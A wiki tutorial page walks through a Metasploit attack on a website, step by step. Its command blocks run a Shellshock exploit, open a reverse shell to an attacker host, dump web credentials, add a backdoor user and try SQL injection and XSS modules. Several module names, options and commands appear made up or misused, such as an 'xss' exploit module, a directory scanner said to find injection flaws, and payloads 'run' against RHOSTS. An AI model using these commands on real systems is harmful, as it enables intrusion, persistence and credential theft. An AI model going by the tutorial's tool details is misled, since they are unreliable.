View source for METASPLOIT - Pentest a Personnal Website

[[Category:Wiki]]

'''''[https://it-arts.net/index.php/Category:Wiki Return to Wiki Index]'''''


== Starting Metasploit ==
First, launch Metasploit's console to begin the penetration test:

 <nowiki>
msfconsole
</nowiki>

== Web Scanning for Vulnerabilities ==
To scan for web vulnerabilities such as SQL injection or XSS, you can use the following module:

 <nowiki>
use auxiliary/scanner/http/dir_scanner
set RHOSTS <target_ip>
set PATHS /admin /login /wp-login.php
run
</nowiki>

== Exploiting Vulnerabilities ==
Once information gathering is complete, you can search for known exploits for the identified vulnerabilities.

=== Searching for Exploits ===
Search for available exploits related to the website's technology stack:

 <nowiki>
search type:exploit <technology_or_vulnerability>
</nowiki>

=== Example of Exploit Execution ===
If the target is running a vulnerable version of Apache or PHP, an exploit can be chosen and executed:

 <nowiki>
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target_ip>
set TARGETURI /cgi-bin/test.cgi
run
</nowiki>

== Post-Exploitation ==
After successfully exploiting the target, post-exploitation helps in maintaining access and extracting more sensitive data.

=== Creating a Reverse Shell ===
After gaining access, you can use a reverse shell payload to establish persistent access:

 <nowiki>
use payload/linux/x86/shell_reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
set RHOSTS <target_ip>
run
</nowiki>

=== Dumping Web Server Credentials ===
To dump web application credentials, you can use Metasploit's post-exploitation modules:

 <nowiki>
use post/multi/gather/enum_web_app_users
set RHOSTS <target_ip>
run
</nowiki>

== Exploiting Web Application Vulnerabilities ==
If a web application vulnerability such as SQL Injection is discovered, you can use Metasploit's web application exploitation tools.

=== Using SQL Injection Exploits ===
For a site vulnerable to SQL injection, you can try the following:

 <nowiki>
use exploit/multi/http/phpmyadmin_sql_injection
set RHOSTS <target_ip>
set TARGETURI /phpmyadmin
set SQL_PAYLOAD "1' OR 1=1--"
run
</nowiki>

=== Using Cross-Site Scripting (XSS) Exploit ===
For a site vulnerable to XSS, you can attempt an exploit like the following:

 <nowiki>
use exploit/multi/http/xss
set RHOSTS <target_ip>
set TARGETURI /search.php
set PAYLOAD "alert('XSS')"
run
</nowiki>

== Maintaining Access ==
Once you’ve exploited a vulnerability and have gained access to the system, maintaining access is critical for further testing.

=== Adding a Backdoor User ===
You can add a backdoor user to maintain persistent access:

 <nowiki>
use post/linux/manage/adduser
set RHOSTS <target_ip>
set USERNAME <username>
set PASSWORD <password>
run
</nowiki>

=== Creating a Reverse Shell Payload ===
Another method to maintain access is by setting up a reverse shell:

 <nowiki>
use payload/linux/x86/shell_reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
set RHOSTS <target_ip>
run
</nowiki>

== Reporting ==
Once the penetration test is complete, you can generate a detailed report of your findings, including all exploited vulnerabilities and actions taken.

=== Generating a Report ===
To generate a simple HTML report:

 <nowiki>
spool /path/to/report.html
report
spool off
</nowiki>

== Clean Up ==
After the penetration test, it's crucial to clean up any backdoors or other remnants left behind on the target system.

=== Remove Backdoor User ===
If you added any backdoor users, remove them to ensure the system is no longer compromised:

 <nowiki>
use post/linux/manage/remove_user
set RHOSTS <target_ip>
set USERNAME <username>
run
</nowiki>

=== Deleting Reverse Shells ===
If you created any reverse shell listeners or sessions, make sure to terminate them:

 <nowiki>
sessions -K
</nowiki>